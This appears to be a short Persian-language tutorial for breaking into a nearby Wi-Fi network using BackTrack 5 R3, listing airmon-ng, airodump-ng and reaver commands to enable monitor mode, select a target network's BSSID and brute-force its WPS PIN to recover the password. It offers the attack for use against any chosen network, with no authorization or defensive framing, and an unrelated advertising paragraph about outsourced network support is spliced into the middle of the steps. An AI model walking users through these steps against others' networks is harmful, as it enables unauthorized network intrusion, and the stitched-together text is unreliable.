مرحله اول:
در قدم اول شما احتیاج به سیستم عامل backtrack 5 r3 دارید.
این سیستم عامل را به هر طریقی که مد نظرتون هست بوت کنید (به وسیله Vmware یا نصب مستقیم)
بعد از بوت شدن با دستور Startx به محیط گرافیکی بروید و از آنجا Command Line را باز کنید.
مرحله دوم:
قبل از شروع اَتک ابتدا باید اطلاعات Network adapter تان را استخراج کنید.
برای بدست آوردن Wireless card از این دستور داخل ترمینال استفاده می‌کنیم:
airmon-ng
مزیت برون سپاری خدمات پشتیبانی شبکه چیست؟
تیم پشتیبانی شبکه گروهی از متخصصان IT است که مسئول مدیریت و نگهداری شبکه کامپیوتری یک سازمان هستند. با ارائه خدمات پشتیبانی و نگهداری منظم، به شما کمک می‌کند تا زمان و منابع خود را آزاد کنید و بر روی وظایف اصلی خود تمرکز کنید.
یک دیوایس را نشان می‌دهد که به BackTrack شما وصل است احتمالا هم اسم اینترفیس آن هم Wlan0 است
حال باید مانیتورینگ مود را در این اینترفیس فعال کنید که دستور آن به شکل زیر است:
airmon-ng start wlan0
این دستور یک وایرلس مانیتور برای شما می‌سازد و احتمالا با نام mon0
سپس باید با دستور زیر محیط اطرافتان را اسکن کنید:
airodump-ng mon0
حال لیستی از نت ورک‌های اطراف را مشاهده می‌کنید، در قسمت ESSID اسم وایرلس مقصد موجود است، پس از انتخاب اسم وایرلس مورد نظر BSSID آن را کپی کنید .ر
مرحله 3:
پس از بدست آوردن اطلاعات در مراحل قبلی در این مرحله نوبت آن است که دستور اصلی برای نفوذ را اجرا کنیم
در قالب کد زیر اجرا می‌کنیم:
reaver -i moninterface -b bssid -vv
به عنوان مثال:
reaver -i mon0 -b 8D:AE:9D:65:1F:B2 –vv
حال ممکن است این پروسس تا چندین ساعت به طول بینجامد، ولی در نهایت به پسورد وای فای موردنظر خواهید رسید.
